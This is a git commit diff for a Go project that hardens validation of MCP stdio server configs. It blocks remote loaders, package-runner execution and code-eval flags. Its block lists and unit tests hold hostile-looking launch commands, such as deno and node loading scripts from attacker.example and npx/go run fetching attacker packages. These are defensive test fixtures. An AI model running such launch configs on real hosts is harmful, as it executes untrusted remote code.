fix: harden MCP stdio validation

This commit is contained in:
Duy Nguyen committed 2026-06-20 19:29:07 +07:00
1 parent 591d809779
commit 878c33e964
5 files changed
+434 -16

No files matched your search

+2
View File
@@ -77,6 +77,8 @@ flowchart TD
S3 --> ALLOW["Allow request"]
```
**MCP stdio validation** -- Admin-created, imported, tested, and on-demand-discovered MCP server configs pass `internal/mcp.ValidateServerConfig()` before any temporary or persistent client process is created. `stdio` configs are restricted to allowlisted runtime basenames, reject shell metacharacters and eval/import flags, and block remote loader/script/package execution modes such as `node --loader`, `python -m`, `deno`/`bun` remote refs, `npx`/`uvx`/`pipx` package targets, `uv --with`, `npm exec`, `go run`, `cargo install`, and `dotnet tool install`. SSE and streamable-HTTP transports use the SSRF validator above.
**Path traversal**: `resolvePath()` applies `filepath.Clean()` then `HasPrefix()` to ensure all paths stay within the workspace. With `restrict = true`, any path outside the workspace is blocked.
**PathDenyable** -- An interface that lets filesystem tools reject specific path prefixes:
+7
View File
@@ -31,6 +31,13 @@ func (h *MCPHandler) handleTestConnection(w http.ResponseWriter, r *http.Request
writeJSON(w, http.StatusBadRequest, map[string]string{"error": i18n.T(locale, i18n.MsgRequired, "transport")})
return
}
if err := mcpbridge.ValidateServerConfig(req.Transport, req.Command, req.Args, req.URL); err != nil {
writeJSON(w, http.StatusOK, map[string]any{
"success": false,
"error": err.Error(),
})
return
}
tools, err := mcpbridge.DiscoverTools(r.Context(), req.Transport, req.Command, req.Args, req.Env, req.URL, req.Headers)
if err != nil {
+4
View File
@@ -116,6 +116,10 @@ type ToolInfo struct {
// DiscoverTools connects temporarily to an MCP server, lists its tools, and disconnects.
// Used for on-demand discovery when no persistent Manager connection exists (DB-backed servers).
func DiscoverTools(ctx context.Context, transportType, command string, args []string, env map[string]string, url string, headers map[string]string) ([]ToolInfo, error) {
if err := ValidateServerConfig(transportType, command, args, url); err != nil {
return nil, fmt.Errorf("invalid MCP server config: %w", err)
}
ctx, cancel := context.WithTimeout(ctx, 15*time.Second)
defer cancel()
+279 -16
View File
@@ -2,6 +2,7 @@ package mcp
import (
"fmt"
"net/url"
"os"
"regexp"
"strings"
@@ -25,13 +26,13 @@ var shellMetaChars = regexp.MustCompile(`[;|&$` + "`" + `(){}[\]<>]`)
// Dangerous arg flags that enable code execution.
var dangerousArgPatterns = []string{
"--eval", "-e", "-c", // Code execution flags
"--require", "-r", // Module injection
"--import", // ES module injection
"exec(", "eval(", // Inline code
"__import__", // Python import injection
"child_process", // Node.js process spawning
"subprocess", // Python subprocess
"--eval", "-e", "-c", // Code execution flags
"--require", "-r", // Module injection
"--import", // ES module injection
"exec(", "eval(", // Inline code
"__import__", // Python import injection
"child_process", // Node.js process spawning
"subprocess", // Python subprocess
}
// Fail-closed env var allowlist — only these are permitted for env: resolution.
@@ -71,14 +72,10 @@ func ValidateCommand(cmd string) error {
return fmt.Errorf("command contains newline characters")
}
// Extract basename for allowlist check
basename := cmd
if idx := strings.LastIndex(cmd, "/"); idx >= 0 {
basename = cmd[idx+1:]
}
basename := commandBasename(cmd)
// Allow absolute paths to known commands
if strings.HasPrefix(cmd, "/") {
if strings.HasPrefix(cmd, "/") || strings.ContainsAny(cmd, `/\`) {
if !allowedCommands[basename] {
return fmt.Errorf("command %q not in allowlist", basename)
}
@@ -86,8 +83,8 @@ func ValidateCommand(cmd string) error {
}
// Bare command must be in allowlist
if !allowedCommands[cmd] {
return fmt.Errorf("command %q not in allowlist (allowed: node, npx, python, python3, ruby, go, java, uvx, uv, pipx, deno, bun)", cmd)
if !allowedCommands[basename] {
return fmt.Errorf("command %q not in allowlist (allowed: node, npx, python, python3, ruby, go, java, uvx, uv, pipx, deno, bun)", basename)
}
return nil
}
@@ -109,6 +106,272 @@ func ValidateArgs(args []string) error {
return nil
}
// ValidateArgsForCommand applies command-specific stdio restrictions after the
// generic argument scan. Several allowed runtimes also include package runners
// or remote loaders; those execution modes are blocked for untrusted MCP config.
func ValidateArgsForCommand(command string, args []string) error {
if err := ValidateArgs(args); err != nil {
return err
}
switch commandBasename(command) {
case "node":
return validateNodeArgs(args)
case "python", "python2", "python3":
return validatePythonArgs(args)
case "deno":
return validateDenoArgs(args)
case "bun":
return validateBunArgs(args)
case "npx", "npm", "uvx", "uv", "pipx":
return validatePackageRunnerArgs(commandBasename(command), args)
case "go":
return validateGoArgs(args)
case "cargo":
return validateCargoArgs(args)
case "dotnet":
return validateDotnetArgs(args)
default:
return nil
}
}
func commandBasename(command string) string {
base := strings.TrimSpace(command)
if idx := strings.LastIndexAny(base, `/\`); idx >= 0 {
base = base[idx+1:]
}
base = strings.TrimSuffix(strings.ToLower(base), ".exe")
return base
}
func validateNodeArgs(args []string) error {
for i, arg := range args {
if isFlag(arg, "-p", "--print", "--loader", "--experimental-loader") {
return fmt.Errorf("arg[%d] uses blocked node execution flag %q", i, arg)
}
}
return nil
}
func validatePythonArgs(args []string) error {
for i, arg := range args {
lower := strings.ToLower(arg)
if lower == "-m" || strings.HasPrefix(lower, "-m") && lower != "--" {
return fmt.Errorf("arg[%d] uses blocked python module execution flag %q", i, arg)
}
}
return nil
}
func validateDenoArgs(args []string) error {
if err := validateRuntimeRemoteRefs(args); err != nil {
return err
}
for i, arg := range args {
switch strings.ToLower(strings.TrimSpace(arg)) {
case "add", "install":
return fmt.Errorf("arg[%d] uses blocked deno package subcommand %q", i, args[i])
}
}
return nil
}
func validateBunArgs(args []string) error {
if err := validateRuntimeRemoteRefs(args); err != nil {
return err
}
for i, arg := range args {
switch strings.ToLower(strings.TrimSpace(arg)) {
case "x", "create", "add", "install", "update", "upgrade":
return fmt.Errorf("arg[%d] uses blocked bun package subcommand %q", i, args[i])
}
}
return nil
}
func validateRuntimeRemoteRefs(args []string) error {
for i, arg := range args {
if isRemoteCodeReference(arg) {
return fmt.Errorf("arg[%d] uses blocked remote code reference %q", i, arg)
}
}
return nil
}
func validatePackageRunnerArgs(command string, args []string) error {
switch command {
case "npx":
return validatePackageTargetArgs(command, args, []string{"--package", "-p", "--call"})
case "uvx":
return validatePackageTargetArgs(command, args, []string{"--from", "--with", "--with-editable", "--with-requirements"})
case "npm":
return validateNPMArgs(args)
case "pipx":
return validatePipxArgs(args)
case "uv":
return validateUVArgs(args)
default:
return nil
}
}
func validatePackageTargetArgs(command string, args []string, blockedFlags []string) error {
for i, arg := range args {
if isFlag(arg, blockedFlags...) {
return fmt.Errorf("arg[%d] uses blocked %s package flag %q", i, command, arg)
}
if isOptionArg(arg) {
continue
}
if !isLikelyLocalPath(arg) {
return fmt.Errorf("arg[%d] uses blocked %s package target %q", i, command, arg)
}
}
return nil
}
func validateNPMArgs(args []string) error {
for i, arg := range args {
switch strings.ToLower(strings.TrimSpace(arg)) {
case "exec", "x", "run", "run-script", "create", "install", "i", "add", "update", "upgrade":
return fmt.Errorf("arg[%d] uses blocked npm subcommand %q", i, args[i])
}
}
return nil
}
func validatePipxArgs(args []string) error {
for i, arg := range args {
switch strings.ToLower(strings.TrimSpace(arg)) {
case "run", "install", "inject", "upgrade", "upgrade-all", "runpip":
return fmt.Errorf("arg[%d] uses blocked pipx subcommand %q", i, args[i])
}
}
return nil
}
func validateUVArgs(args []string) error {
sawTool := false
sawPip := false
for i, arg := range args {
if isFlag(arg, "--with", "--with-editable", "--with-requirements", "--from") {
return fmt.Errorf("arg[%d] uses blocked uv package flag %q", i, arg)
}
lower := strings.ToLower(strings.TrimSpace(arg))
if lower == "" || isOptionArg(lower) {
continue
}
switch {
case lower == "tool":
sawTool = true
continue
case lower == "pip":
sawPip = true
continue
case sawTool && (lower == "run" || lower == "install" || lower == "upgrade"):
return fmt.Errorf("arg[%d] uses blocked uv tool subcommand %q", i, args[i])
case sawPip && (lower == "install" || lower == "sync"):
return fmt.Errorf("arg[%d] uses blocked uv pip subcommand %q", i, args[i])
case lower == "add" || lower == "sync":
return fmt.Errorf("arg[%d] uses blocked uv package subcommand %q", i, args[i])
}
}
return nil
}
func validateGoArgs(args []string) error {
for i, arg := range args {
switch strings.ToLower(strings.TrimSpace(arg)) {
case "run", "install", "get":
return fmt.Errorf("arg[%d] uses blocked go package subcommand %q", i, args[i])
}
}
return nil
}
func validateCargoArgs(args []string) error {
for i, arg := range args {
switch strings.ToLower(strings.TrimSpace(arg)) {
case "run", "install", "add", "update":
return fmt.Errorf("arg[%d] uses blocked cargo package subcommand %q", i, args[i])
}
}
return nil
}
func validateDotnetArgs(args []string) error {
sawTool := false
sawAdd := false
for i, arg := range args {
lower := strings.ToLower(strings.TrimSpace(arg))
if lower == "" || isOptionArg(lower) {
continue
}
switch {
case lower == "run", lower == "restore":
return fmt.Errorf("arg[%d] uses blocked dotnet subcommand %q", i, args[i])
case lower == "tool":
sawTool = true
continue
case sawTool && (lower == "install" || lower == "update" || lower == "run"):
return fmt.Errorf("arg[%d] uses blocked dotnet tool subcommand %q", i, args[i])
case lower == "add":
sawAdd = true
continue
case sawAdd && lower == "package":
return fmt.Errorf("arg[%d] uses blocked dotnet package subcommand %q", i, args[i])
}
}
return nil
}
func isFlag(arg string, names ...string) bool {
lower := strings.ToLower(strings.TrimSpace(arg))
for _, name := range names {
if lower == name || strings.HasPrefix(lower, name+"=") {
return true
}
}
return false
}
func isOptionArg(arg string) bool {
return strings.HasPrefix(strings.TrimSpace(arg), "-")
}
func isLikelyLocalPath(arg string) bool {
arg = strings.TrimSpace(arg)
if strings.HasPrefix(arg, "./") || strings.HasPrefix(arg, `.\`) ||
strings.HasPrefix(arg, "/") || strings.HasPrefix(arg, `\`) {
return true
}
return len(arg) >= 3 && arg[1] == ':' && (arg[2] == '\\' || arg[2] == '/')
}
func isRemoteCodeReference(arg string) bool {
arg = strings.TrimSpace(arg)
if isLikelyLocalPath(arg) {
return false
}
u, err := url.Parse(strings.TrimSpace(arg))
if err != nil {
return false
}
if u.Scheme == "" {
return false
}
if len(u.Scheme) == 1 && len(arg) >= 2 && arg[1] == ':' {
return false
}
switch u.Scheme {
case "http", "https", "npm", "jsr", "git", "git+https", "git+ssh", "ssh":
return true
default:
return u.Host != ""
}
}
// ValidateURL checks URL for SSRF vulnerabilities using the existing security package.
// This provides DNS rebinding protection via IP pinning.
func ValidateURL(rawURL string) error {
@@ -150,7 +413,7 @@ func ValidateServerConfig(transport, command string, args []string, url string)
if err := ValidateCommand(command); err != nil {
return fmt.Errorf("invalid command: %w", err)
}
if err := ValidateArgs(args); err != nil {
if err := ValidateArgsForCommand(command, args); err != nil {
return fmt.Errorf("invalid args: %w", err)
}
}
+142
View File
@@ -1,6 +1,8 @@
package mcp
import (
"context"
"strings"
"testing"
"github.com/nextlevelbuilder/goclaw/internal/security"
@@ -226,6 +228,146 @@ func TestValidateServerConfig_Combined(t *testing.T) {
}
}
func TestValidateServerConfig_StdioRuntimeBypassPayloadsRejected(t *testing.T) {
tests := []struct {
name string
command string
args []string
}{
{
name: "deno remote script url",
command: "deno",
args: []string{"run", "--allow-all", "https://attacker.example/mcp.ts"},
},
{
name: "deno npm package spec",
command: "deno",
args: []string{"run", "npm:@attacker/mcp-server"},
},
{
name: "bun remote script url",
command: "bun",
args: []string{"https://attacker.example/mcp.ts"},
},
{
name: "bun package executor",
command: "bun",
args: []string{"x", "attacker-mcp-server"},
},
{
name: "npx remote package target",
command: "npx",
args: []string{"@attacker/mcp-server@1.0.0"},
},
{
name: "uvx remote package target",
command: "uvx",
args: []string{"attacker-mcp-server"},
},
{
name: "pipx run remote package target",
command: "pipx",
args: []string{"run", "attacker-mcp-server"},
},
{
name: "uv run package injection",
command: "uv",
args: []string{"run", "--with", "attacker-mcp-server", "python", "-V"},
},
{
name: "node remote loader",
command: "node",
args: []string{"--loader=https://attacker.example/loader.mjs", "./server.js"},
},
{
name: "node print flag",
command: "node",
args: []string{"-p", "process.version"},
},
{
name: "python module execution",
command: "python",
args: []string{"-m", "pip", "--version"},
},
{
name: "npm exec remote package",
command: "npm",
args: []string{"exec", "attacker-mcp-server"},
},
{
name: "npm option before exec",
command: "npm",
args: []string{"--prefix", ".", "exec", "attacker-mcp-server"},
},
{
name: "pipx option before run",
command: "pipx",
args: []string{"--global", "run", "attacker-mcp-server"},
},
{
name: "uv pip option before install",
command: "uv",
args: []string{"pip", "--python", "3.12", "install", "attacker-mcp-server"},
},
{
name: "go run remote package",
command: "go",
args: []string{"run", "github.com/attacker/mcp-server@latest"},
},
{
name: "cargo install remote crate",
command: "cargo",
args: []string{"install", "attacker-mcp-server"},
},
{
name: "dotnet tool install package",
command: "dotnet",
args: []string{"tool", "install", "attacker-mcp-server"},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if err := ValidateServerConfig("stdio", tt.command, tt.args, ""); err == nil {
t.Fatalf("ValidateServerConfig accepted %s %v", tt.command, tt.args)
}
})
}
}
func TestValidateServerConfig_StdioLocalServerArgsAllowed(t *testing.T) {
tests := []struct {
name string
command string
args []string
}{
{name: "node local script", command: "node", args: []string{"./server.js"}},
{name: "python local script", command: "python3", args: []string{"./server.py"}},
{name: "deno local script", command: "deno", args: []string{"run", "./server.ts"}},
{name: "bun local script", command: "bun", args: []string{"./server.ts"}},
{name: "npx local target", command: "npx", args: []string{"./node_modules/.bin/mcp-server"}},
{name: "uv local run", command: "uv", args: []string{"run", "./server.py"}},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if err := ValidateServerConfig("stdio", tt.command, tt.args, ""); err != nil {
t.Fatalf("ValidateServerConfig rejected local server args: %v", err)
}
})
}
}
func TestDiscoverTools_RejectsUnsafeConfigBeforeSpawn(t *testing.T) {
_, err := DiscoverTools(context.Background(), "stdio", "npx", []string{"@attacker/mcp-server@1.0.0"}, nil, "", nil)
if err == nil {
t.Fatal("DiscoverTools accepted unsafe stdio config")
}
if !strings.Contains(err.Error(), "invalid MCP server config") {
t.Fatalf("DiscoverTools error = %v, want validation error", err)
}
}
func TestValidateHeaders_EnvVarCheck(t *testing.T) {
tests := []struct {
name string